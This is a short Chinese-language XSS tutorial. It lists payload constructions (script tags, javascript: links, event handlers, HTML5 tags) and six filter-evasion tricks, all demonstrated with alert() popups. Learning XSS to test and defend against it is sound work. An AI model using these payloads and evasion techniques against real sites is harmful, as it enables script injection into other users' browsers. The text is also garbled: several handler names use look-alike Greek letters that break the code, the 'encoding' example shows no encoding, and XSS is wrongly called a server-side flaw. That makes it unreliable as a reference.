※XSS:
XSS 是OWASP TOP10之一的漏洞,被稱爲跨站腳本攻擊,是發生在服務器的漏洞,
常出現於微博、留言板、聊天室等手機用戶輸入的地方,都有可能被注入XSS代碼。
※XSS的構造(現在有三種方法)
1.利用<>構造HTML/JS
在測試頁面,提交參數<script>alert(xss)</script>
2.僞協議
使用JavaScript:僞協議的方式構造XSS
在測試頁面:提交參數 <a href="javascript:alert(/xss/)"> hi!</a>
點擊後彈出彈窗
3.產生自己的事件
在網頁中發生很多事件,比如鼠標移動,鍵盤輸入等,JS可以對這些事件進行響應,所以我們可以通過事件觸發JS函數從而觸發XSS.
如輸入<img src='./smile.jpg' οnmοuseοver='alert(/xss/)'>時這個標籤會引入一個圖片,然後鼠標懸停在圖片上的時候,會觸發XSS 代碼。
單行文本框的鍵盤點擊事件,<input type="text" οnkeydοwn="alert(/xss/)">,當點擊鍵盤任意一個按鍵的時候出發。
4. 其他標籤以及手法(H5)
<svg οnlοad="alert(/xss/)">
<input οnfοcus=alert(/xss/) autofocus>
================================================================================================
※XSS的變形(六種)
1. 大小寫轉換
可以將payload 進行大小寫轉化。如:
<Img sRc='#' Onerror="alert(/xss/)" />
<a hREf="javaScript:alert(/xss/)">click me</a>
2. 引號的使用---HTML 語言中對引號的使用不敏感.如“
<img src='#' οnerrοr='alert(/xss/)'/>
<img src=# οnerrοr=alert(/xss/) />
3. ' /'代替空格 可以利用左斜線代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />
4. 回車我們可以在一些位置添加Tab(水平製表符)和回車符,來繞過關鍵字檢測。
<A hREf="j
avas cript:alert(/xss/)">click me!</a>
5. 對標籤屬性值進行轉碼
可以對標籤屬性值進行轉碼,用來繞過過濾。
如:<A hREf="javascript:alert(/xss/)">click me!</a>
6. 拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>